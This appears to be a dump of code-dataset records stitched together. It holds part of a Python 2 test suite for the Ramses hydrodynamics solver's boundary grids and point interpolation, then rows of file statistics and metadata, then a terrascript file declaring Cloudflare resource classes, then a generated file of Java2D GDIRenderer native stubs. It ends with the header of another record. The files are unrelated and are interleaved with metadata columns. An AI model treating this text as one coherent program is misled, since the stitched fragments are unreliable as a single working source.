grid.rho = 0.01 | density
grid.rhovx = 0.1 | momentum
grid.rhovy = 0.0 | momentum
grid.rhovz = 0.0 | momentum
p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2))
grid.energy = p / (gamma - 1)
grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.stopping_conditions.number_of_steps_detection.enable()
#instance.grid.boundaries.left.
xbound1 = instance.get_boundary_grid('xbound1')
self.assertEquals(xbound1.shape, (2,4,4))
memxbound1 = xbound1.copy()
memxbound1.rho = 0.02 | density
memxbound1.rhovx = 0.2 | momentum
memxbound1.rhovy = 0.0 | momentum
memxbound1.rhovz = 0.0 | momentum
memxbound1.energy = p / (gamma - 1)
memxbound1.energy += 0.5 * (memxbound1.rhovx ** 2 + memxbound1.rhovy ** 2 + memxbound1.rhovz ** 2) / memxbound1.rho
channel = memxbound1.new_channel_to(xbound1)
channel.copy()
instance.evolve_model(1.0 | generic_unit_system.time)
self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set())
rho = instance.grid.rho[...,0,0]
print rho
print instance.model_time
self.assertAlmostRelativeEquals(rho[-1], 0.01 | density)
self.assertTrue(rho[0] > 0.01 | density)
self.assertTrue(instance.grid.rhovx[0,0,0] > 0.1 | momentum)
self.assertAlmostRelativeEquals(instance.grid.rhovx[-1,0,0] , 0.1 | momentum)
instance.stopping_conditions.number_of_steps_detection.disable()
instance.evolve_model(1.0 | generic_unit_system.time)
print instance.model_time
rho = instance.grid.rho[...,0,0]
print rho
self.assertAlmostRelativeEquals(rho, 0.02 | density, 8)
self.assertAlmostRelativeEquals(instance.grid.rhovx[...,0,0], 0.2 | momentum, 8)
print instance.model_time
instance.stop()
def xtest8(self):
instance=self.new_instance(Ramses, number_of_workers = 1)
#instance.set_parallel_decomposition(2,1,1)
instance.parameters.mesh_size = (4,10,4)
instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length
instance.parameters.x_boundary_conditions = ("periodic", "periodic")
instance.parameters.y_boundary_conditions = ("interface", "outflow")
instance.parameters.z_boundary_conditions = ("periodic", "periodic")
instance.parameters.stopping_conditions_number_of_steps = 1
gamma = 5.0 / 3.0
grid = datamodel.new_regular_grid((4,10,4), [1.0, 1.0, 1.0] | generic_unit_system.length )
density = generic_unit_system.density
momentum = generic_unit_system.speed * generic_unit_system.density
energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length)
grid.rho = 0.01 | density
grid.rhovx = 0.0 | momentum
grid.rhovy = 0.1 | momentum
grid.rhovz = 0.0 | momentum
p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2))
grid.energy = p / (gamma - 1)
grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.stopping_conditions.number_of_steps_detection.enable()
ybound = instance.get_boundary_grid('ybound1')
self.assertEquals(ybound.shape, (4+4,2,4))
memybound = ybound.copy()
memybound.rho = 0.02 | density
memybound.rhovx = 0.0 | momentum
memybound.rhovy = 0.2 | momentum
memybound.rhovz = 0.0 | momentum
memybound.energy = p / (gamma - 1)
memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho
channel = memybound.new_channel_to(ybound)
channel.copy()
instance.evolve_model(1.0 | generic_unit_system.time)
print instance.stopping_conditions.number_of_steps_detection.is_set()
print instance.grid.rho[0,...,0]
rho = instance.grid.rho[0,...,0]
self.assertAlmostRelativeEquals(rho[-1], 0.01 | density)
self.assertTrue(rho[0] > 0.01 | density)
self.assertTrue(instance.grid.rhovy[0,0,0] > 0.1 | momentum)
self.assertAlmostRelativeEquals(instance.grid.rhovy[0,-1,0] , 0.1 | momentum)
print instance.model_time
instance.stopping_conditions.number_of_steps_detection.disable()
instance.evolve_model(1.0 | generic_unit_system.time)
rho = instance.grid.rho[0,...,0]
self.assertAlmostRelativeEquals(rho, 0.02 | density, 8)
self.assertAlmostRelativeEquals(instance.grid.rhovy[0,...,0], 0.2 | momentum, 8)
print instance.model_time
instance.stop()
def xtest9(self):
instance=self.new_instance(Ramses, number_of_workers = 1)
#instance.set_parallel_decomposition(2,1,1)
instance.parameters.mesh_size = (4,10,4)
instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length
instance.parameters.x_boundary_conditions = ("periodic", "periodic")
instance.parameters.y_boundary_conditions = ("outflow", "interface")
instance.parameters.z_boundary_conditions = ("periodic", "periodic")
instance.parameters.stopping_conditions_number_of_steps = 1
gamma = 5.0 / 3.0
grid = datamodel.new_regular_grid((4,10,4), [1.0, 1.0, 1.0] | generic_unit_system.length )
density = generic_unit_system.density
momentum = generic_unit_system.speed * generic_unit_system.density
energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length)
grid.rho = 0.01 | density
grid.rhovx = 0.0 | momentum
grid.rhovy = -0.1 | momentum
grid.rhovz = 0.0 | momentum
p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2))
grid.energy = p / (gamma - 1)
grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.stopping_conditions.number_of_steps_detection.enable()
ybound = instance.get_boundary_grid('ybound2')
self.assertEquals(ybound.shape, (4+4,2,4))
memybound = ybound.copy()
memybound.rho = 0.02 | density
memybound.rhovx = 0.0 | momentum
memybound.rhovy = -0.2 | momentum
memybound.rhovz = 0.0 | momentum
memybound.energy = p / (gamma - 1)
memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho
channel = memybound.new_channel_to(ybound)
channel.copy()
instance.evolve_model(1.0 | generic_unit_system.time)
print instance.stopping_conditions.number_of_steps_detection.is_set()
print instance.grid.rho[0,...,0]
rho = instance.grid.rho[0,...,0]
self.assertAlmostRelativeEquals(rho[0], 0.01 | density)
self.assertTrue(rho[-1] > 0.01 | density)
self.assertTrue(instance.grid.rhovy[0,-1,0] < 0.1 | momentum)
self.assertAlmostRelativeEquals(instance.grid.rhovy[0,0,0] , -0.1 | momentum)
print instance.model_time
instance.stopping_conditions.number_of_steps_detection.disable()
instance.evolve_model(1.0 | generic_unit_system.time)
rho = instance.grid.rho[0,...,0]
self.assertAlmostRelativeEquals(rho, 0.02 | density, 8)
self.assertAlmostRelativeEquals(instance.grid.rhovy[0,...,0], -0.2 | momentum, 8)
print instance.model_time
instance.stop()
def xtest10(self):
instance=self.new_instance(Ramses, number_of_workers = 1)
#instance.set_parallel_decomposition(2,1,1)
instance.parameters.mesh_size = (4,4,10)
instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length
instance.parameters.x_boundary_conditions = ("periodic", "periodic")
instance.parameters.y_boundary_conditions = ("periodic", "periodic")
instance.parameters.z_boundary_conditions = ("interface", "outflow")
instance.parameters.stopping_conditions_number_of_steps = 1
gamma = 5.0 / 3.0
grid = datamodel.new_regular_grid((4,4,10), [1.0, 1.0, 1.0] | generic_unit_system.length )
density = generic_unit_system.density
momentum = generic_unit_system.speed * generic_unit_system.density
energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length)
grid.rho = 0.01 | density
grid.rhovx = 0.0 | momentum
grid.rhovy = 0.0 | momentum
grid.rhovz = 0.1 | momentum
p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2))
grid.energy = p / (gamma - 1)
grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.stopping_conditions.number_of_steps_detection.enable()
ybound = instance.get_boundary_grid('zbound1')
self.assertEquals(ybound.shape, (4+4,4+4,2))
memybound = ybound.copy()
memybound.rho = 0.02 | density
memybound.rhovx = 0.0 | momentum
memybound.rhovy = 0.0 | momentum
memybound.rhovz = 0.2 | momentum
memybound.energy = p / (gamma - 1)
memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho
channel = memybound.new_channel_to(ybound)
channel.copy()
instance.evolve_model(1.0 | generic_unit_system.time)
self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set())
rho = instance.grid.rho[0,0,...]
print rho
self.assertAlmostRelativeEquals(rho[-1], 0.01 | density)
self.assertTrue(rho[0] > 0.01 | density)
self.assertTrue(instance.grid.rhovz[0,0,0] > 0.1 | momentum)
self.assertAlmostRelativeEquals(instance.grid.rhovz[0,0,-1] , 0.1 | momentum)
print instance.model_time
instance.stopping_conditions.number_of_steps_detection.disable()
instance.evolve_model(1.0 | generic_unit_system.time)
rho = instance.grid.rho[0,0,...]
self.assertAlmostRelativeEquals(rho, 0.02 | density, 8)
self.assertAlmostRelativeEquals(instance.grid.rhovz[0,...,0], 0.2 | momentum, 8)
print instance.model_time
instance.stop()
def xtest11(self):
instance=self.new_instance(Ramses, number_of_workers = 2)
instance.set_parallel_decomposition(2,1,1)
instance.parameters.mesh_size = (4,4,10)
instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length
instance.parameters.x_boundary_conditions = ("periodic", "periodic")
instance.parameters.y_boundary_conditions = ("periodic", "periodic")
instance.parameters.z_boundary_conditions = ("outflow", "interface")
instance.parameters.stopping_conditions_number_of_steps = 1
gamma = 5.0 / 3.0
grid = datamodel.new_regular_grid((4,4,10), [1.0, 1.0, 1.0] | generic_unit_system.length )
density = generic_unit_system.density
momentum = generic_unit_system.speed * generic_unit_system.density
energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length)
grid.rho = 0.01 | density
grid.rhovx = 0.0 | momentum
grid.rhovy = 0.0 | momentum
grid.rhovz = -0.10 | momentum
p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2))
grid.energy = p / (gamma - 1)
grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho
channel = grid.new_channel_to(instance.grid)
channel.copy()
instance.stopping_conditions.number_of_steps_detection.enable()
ybound = instance.get_boundary_grid('zbound2')
self.assertEquals(ybound.shape, (4+4,4+4,2))
memybound = ybound.copy()
memybound.rho = 0.02 | density
memybound.rhovx = 0.0 | momentum
memybound.rhovy = 0.0 | momentum
memybound.rhovz = -0.2 | momentum
memybound.energy = p / (gamma - 1)
memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho
channel = memybound.new_channel_to(ybound)
channel.copy()
instance.evolve_model(1.0 | generic_unit_system.time)
self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set())
rho = instance.grid.rho[0,0,...]
self.assertAlmostRelativeEquals(rho[0], 0.01 | density)
self.assertTrue(rho[-1] > 0.01 | density)
self.assertTrue(instance.grid.rhovz[0,0,-1] < 0.1 | momentum)
self.assertAlmostRelativeEquals(instance.grid.rhovz[0,0,0] , -0.1 | momentum)
print instance.model_time
instance.stopping_conditions.number_of_steps_detection.disable()
instance.evolve_model(1.0 | generic_unit_system.time)
rho = instance.grid.rho[0,0,...]
self.assertAlmostRelativeEquals(rho, 0.02 | density, 8)
self.assertAlmostRelativeEquals(instance.grid.rhovz[0,0,...], -0.2 | momentum, 8)
print instance.model_time
instance.stop()
def xtest12(self):
instance=self.new_instance(Ramses)
instance.parameters.x_boundary_conditions = ("periodic","periodic")
instance.parameters.y_boundary_conditions = ("periodic","periodic")
instance.parameters.z_boundary_conditions = ("periodic","periodic")
instance.parameters.mesh_length = (20.0, 1, 1) | generic_unit_system.length
instance.parameters.mesh_size = (20, 2, 2)
for x in instance.itergrids():
inmem = x.copy()
inmem.rho = inmem.x/(1| generic_unit_system.length) | generic_unit_system.density
inmem.rhovx = 0.0 | generic_unit_system.momentum_density
inmem.energy = 1.0 | generic_unit_system.energy_density
from_model_to_code = inmem.new_channel_to(x)
from_model_to_code.copy()
print inmem.rho
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(0.5| generic_unit_system.length,0.0| generic_unit_system.length,0.0| generic_unit_system.length)
self.assertEquals(rho , 0.5 | generic_unit_system.density)
for value in numpy.arange(0.5, 19.6, 0.1):
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
value | generic_unit_system.length,
0.5 | generic_unit_system.length,
0.5 | generic_unit_system.length
)
self.assertAlmostRelativeEquals(rho , value | generic_unit_system.density)
for value in numpy.arange(0.0, 0.6, 0.1):
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
value | generic_unit_system.length,
0.0 | generic_unit_system.length,
0.0 | generic_unit_system.length
)
self.assertAlmostRelativeEquals(rho , ((0.5 + value) * 0.5 + (0.5-value) * 19.5) | generic_unit_system.density)
for value in numpy.arange(0.0, 0.5, 0.1):
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
value + 19.5| generic_unit_system.length,
0.0 | generic_unit_system.length,
0.0 | generic_unit_system.length
)
self.assertAlmostRelativeEquals(rho , (19.5 - (value * 19)) | generic_unit_system.density, 9)
# out of range
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
20.0| generic_unit_system.length,
0.0 | generic_unit_system.length,
0.0 | generic_unit_system.length
)
self.assertAlmostRelativeEquals(rho , 0.0 | generic_unit_system.density, 9)
def xtest13(self):
instance=self.new_instance(Ramses, number_of_workers=2)
instance.parameters.x_boundary_conditions = ("periodic","periodic")
instance.parameters.y_boundary_conditions = ("periodic","periodic")
instance.parameters.y_boundary_conditions = ("periodic","periodic")
instance.parameters.mesh_length = (20.0, 20.0, 4) | generic_unit_system.length
instance.parameters.mesh_length = (20.0, 20.0, 4) | generic_unit_system.length
instance.parameters.mesh_size = (20, 20, 2)
for x in instance.itergrids():
inmem = x.copy()
inmem.rho = (inmem.x + ((inmem.y - (0.5| generic_unit_system.length))* 20.0))/(1| generic_unit_system.length) | generic_unit_system.density
inmem.rhovx = 0.0 | generic_unit_system.momentum_density
inmem.energy = 1.0 | generic_unit_system.energy_density
from_model_to_code = inmem.new_channel_to(x)
from_model_to_code.copy()
print inmem.rho[0], inmem.y[0], inmem.x[0]
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(0.5| generic_unit_system.length,0.5| generic_unit_system.length,0.0| generic_unit_system.length)
self.assertEquals(rho , 0.5 | generic_unit_system.density)
for value in numpy.arange(0.5, 19.6, 0.1):
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
value | generic_unit_system.length,
0.5 | generic_unit_system.length,
0.0 | generic_unit_system.length
)
self.assertAlmostRelativeEquals(rho , value | generic_unit_system.density)
for x in numpy.arange(8.5, 11.5, 0.25):
for y in numpy.arange(0.5, 19.6, 0.25):
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
x | generic_unit_system.length,
y | generic_unit_system.length,
0.0 | generic_unit_system.length
)
self.assertAlmostRelativeEquals(rho , x + (20 * (y-0.5)) | generic_unit_system.density)
def xtest14(self):
instance=self.new_instance(Ramses, number_of_workers=3)
instance.parameters.x_boundary_conditions = ("periodic","periodic")
instance.parameters.y_boundary_conditions = ("periodic","periodic")
instance.parameters.z_boundary_conditions = ("periodic","periodic")
instance.parameters.mesh_length = (20.0, 20.0, 20.0) | generic_unit_system.length
instance.parameters.mesh_length = (20.0, 20.0, 20.0) | generic_unit_system.length
instance.parameters.mesh_size = (20, 20, 20)
for x in instance.itergrids():
inmem = x.copy()
inmem.rho = (
(
inmem.x +
((inmem.y - (0.5| generic_unit_system.length))* 20.0) +
((inmem.z - (0.5| generic_unit_system.length))* 400.0)
)
/(1| generic_unit_system.length) | generic_unit_system.density
)
inmem.rhovx = 0.0 | generic_unit_system.momentum_density
inmem.energy = 1.0 | generic_unit_system.energy_density
from_model_to_code = inmem.new_channel_to(x)
from_model_to_code.copy()
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(0.5| generic_unit_system.length,0.5| generic_unit_system.length,0.5| generic_unit_system.length)
self.assertEquals(rho , 0.5 | generic_unit_system.density)
for value in numpy.arange(0.5, 19.6, 0.1):
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
value | generic_unit_system.length,
0.5 | generic_unit_system.length,
0.5 | generic_unit_system.length
)
self.assertAlmostRelativeEquals(rho , value | generic_unit_system.density)
sample = datamodel.new_regular_grid(
(4, 4, 76),
(2, 2, 19) | generic_unit_system.length
)
sample.x += 9.5 | generic_unit_system.length
sample.y += 9.5 | generic_unit_system.length
sample.z += 0.5 | generic_unit_system.length
x = sample.x.flatten()
y = sample.y.flatten()
z = sample.z.flatten()
rho, rhovx, rhovy, rhovx, rhoenergy = instance.get_hydro_state_at_point(
x,
y,
z
)
half = 0.5 | generic_unit_system.length
self.assertAlmostRelativeEquals(rho , (x + (20 * (y-half)) + (400 * (z-half)))/(1| generic_unit_system.length) | generic_unit_system.density )
def xtest15(self):
instance=self.new_instance(Ramses, number_of_workers = 1)
self.assertAlmostRelativeEquals(instance.parameters.gamma, 5.0 / 3.0)
instance.parameters.gamma = 1.2
self.assertAlmostRelativeEquals(instance.parameters.gamma, 1.2)
#self.assertAlmostRelativeEquals(instance.parameters.timestep, 0.1 | generic_unit_system.time)
#instance.parameters.timestep = 0.2 | generic_unit_system.time
#self.assertAlmostRelativeEquals(instance.parameters.timestep, 0.2 | generic_unit_system.time)
| 43.722189 | 176 | 0.574745 | 8,867 | 73,497 | 4.615766 | 0.028758 | 0.056172 | 0.08598 | 0.047205 | 0.927629 | 0.905957 | 0.876588 | 0.846829 | 0.838204 | 0.812671 | 0 | 0.056578 | 0.304761 | 73,497 | 1,680 | 177 | 43.748214 | 0.744393 | 0.017443 | 0 | 0.729437 | 0 | 0 | 0.022924 | 0 | 0 | 0 | 0 | 0 | 0.221501 | 0 | null | null | 0 | 0.007215 | null | null | 0.025974 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5a83c1ce3558010f7fde31cc0ac1169ef6edc55d | 1,932 | py | Python | terrascript/cloudflare/r.py | amlodzianowski/python-terrascript | 1111affe6cd30d9b8b7bc74ae4e27590f7d4dc49 | [
"BSD-2-Clause"
] | null | null | null | terrascript/cloudflare/r.py | amlodzianowski/python-terrascript | 1111affe6cd30d9b8b7bc74ae4e27590f7d4dc49 | [
"BSD-2-Clause"
] | null | null | null | terrascript/cloudflare/r.py | amlodzianowski/python-terrascript | 1111affe6cd30d9b8b7bc74ae4e27590f7d4dc49 | [
"BSD-2-Clause"
] | null | null | null | # terrascript/cloudflare/r.py
import terrascript
class cloudflare_access_application(terrascript.Resource):
pass
class cloudflare_access_policy(terrascript.Resource):
pass
class cloudflare_access_group(terrascript.Resource):
pass
class cloudflare_access_rule(terrascript.Resource):
pass
class cloudflare_access_service_token(terrascript.Resource):
pass
class cloudflare_account_member(terrascript.Resource):
pass
class cloudflare_argo(terrascript.Resource):
pass
class cloudflare_custom_pages(terrascript.Resource):
pass
class cloudflare_custom_ssl(terrascript.Resource):
pass
class cloudflare_filter(terrascript.Resource):
pass
class cloudflare_firewall_rule(terrascript.Resource):
pass
class cloudflare_load_balancer_monitor(terrascript.Resource):
pass
class cloudflare_load_balancer_pool(terrascript.Resource):
pass
class cloudflare_load_balancer(terrascript.Resource):
pass
class cloudflare_logpush_job(terrascript.Resource):
pass
class cloudflare_origin_ca_certificate(terrascript.Resource):
pass
class cloudflare_page_rule(terrascript.Resource):
pass
class cloudflare_rate_limit(terrascript.Resource):
pass
class cloudflare_record(terrascript.Resource):
pass
class cloudflare_spectrum_application(terrascript.Resource):
pass
class cloudflare_waf_group(terrascript.Resource):
pass
class cloudflare_waf_package(terrascript.Resource):
pass
class cloudflare_waf_rule(terrascript.Resource):
pass
class cloudflare_worker_route(terrascript.Resource):
pass
class cloudflare_worker_script(terrascript.Resource):
pass
class cloudflare_workers_kv_namespace(terrascript.Resource):
pass
class cloudflare_zone_lockdown(terrascript.Resource):
pass
class cloudflare_zone_settings_override(terrascript.Resource):
pass
class cloudflare_zone(terrascript.Resource):
pass
| 16.1 | 62 | 0.800207 | 211 | 1,932 | 7.042654 | 0.232227 | 0.292732 | 0.448856 | 0.527591 | 0.818977 | 0.563257 | 0.100942 | 0 | 0 | 0 | 0 | 0 | 0.137681 | 1,932 | 119 | 63 | 16.235294 | 0.891957 | 0.013975 | 0 | 0.491525 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.491525 | 0.016949 | 0 | 0.508475 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 7 |
ce6ff6e49d36d87adce9958bcc54576541be77ab | 6,279 | py | Python | pava/implementation/natives/sun/java2d/windows/GDIRenderer.py | laffra/pava | 54d10cf7f8def2f96e254c0356623d08f221536f | [
"MIT"
] | 4 | 2017-03-30T16:51:16.000Z | 2020-10-05T12:25:47.000Z | pava/implementation/natives/sun/java2d/windows/GDIRenderer.py | laffra/pava | 54d10cf7f8def2f96e254c0356623d08f221536f | [
"MIT"
] | null | null | null | pava/implementation/natives/sun/java2d/windows/GDIRenderer.py | laffra/pava | 54d10cf7f8def2f96e254c0356623d08f221536f | [
"MIT"
] | null | null | null | def add_native_methods(clazz):
def doDrawLine__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8):
raise NotImplementedError()
def doDrawRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8):
raise NotImplementedError()
def doDrawRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10):
raise NotImplementedError()
def doDrawOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8):
raise NotImplementedError()
def doDrawArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10):
raise NotImplementedError()
def doDrawPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__boolean__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10):
raise NotImplementedError()
def doFillRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8):
raise NotImplementedError()
def doFillRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10):
raise NotImplementedError()
def doFillOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8):
raise NotImplementedError()
def doFillArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10):
raise NotImplementedError()
def doFillPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__(a0, a1, a2, a3, a4, a5, a6, a7, a8, a9):
raise NotImplementedError()
def doShape__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__java_awt_geom_Path2D_Float__boolean__(a0, a1, a2, a3, a4, a5, a6, a7, a8):
raise NotImplementedError()
def devCopyArea__sun_java2d_windows_GDIWindowSurfaceData__int__int__int__int__int__int__(a0, a1, a2, a3, a4, a5, a6, a7):
raise NotImplementedError()
clazz.doDrawLine__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doDrawLine__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__
clazz.doDrawRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doDrawRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__
clazz.doDrawRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doDrawRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__
clazz.doDrawOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doDrawOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__
clazz.doDrawArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doDrawArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__
clazz.doDrawPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__boolean__ = doDrawPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__boolean__
clazz.doFillRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doFillRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__
clazz.doFillRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doFillRoundRect__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__
clazz.doFillOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__ = doFillOval__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__
clazz.doFillArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__ = doFillArc__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int__int__int__int__
clazz.doFillPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__ = doFillPoly__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__int____int____int__
clazz.doShape__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__java_awt_geom_Path2D_Float__boolean__ = doShape__sun_java2d_windows_GDIWindowSurfaceData__sun_java2d_pipe_Region__java_awt_Composite__int__int__int__java_awt_geom_Path2D_Float__boolean__
clazz.devCopyArea__sun_java2d_windows_GDIWindowSurfaceData__int__int__int__int__int__int__ = devCopyArea__sun_java2d_windows_GDIWindowSurfaceData__int__int__int__int__int__int__
| 114.163636 | 305 | 0.898551 | 874 | 6,279 | 5.200229 | 0.051487 | 0.241584 | 0.285149 | 0.277228 | 0.979538 | 0.979538 | 0.979538 | 0.978438 | 0.978438 | 0.978438 | 0 | 0.035897 | 0.068323 | 6,279 | 54 | 306 | 116.277778 | 0.741026 | 0 | 0 | 0.325 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.35 | false | 0 | 0 | 0 | 0.35 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
cec5fba01702ea5a83ce0ef16109cf9b72e1cff9 | 21,589 | py | Python | test/mlprogram/transforms/test_action_sequence.py | HiroakiMikami/mlprogram | 573e94c567064705fa65267dd83946bf183197de | [
"MIT"
] | 9 | 2020-05-24T11:25:01.000Z | 2022-03-28T15:32:10.000Z | test/mlprogram/transforms/test_action_sequence.py | HiroakiMikami/mlprogram | 573e94c567064705fa65267dd83946bf183197de | [
"MIT"
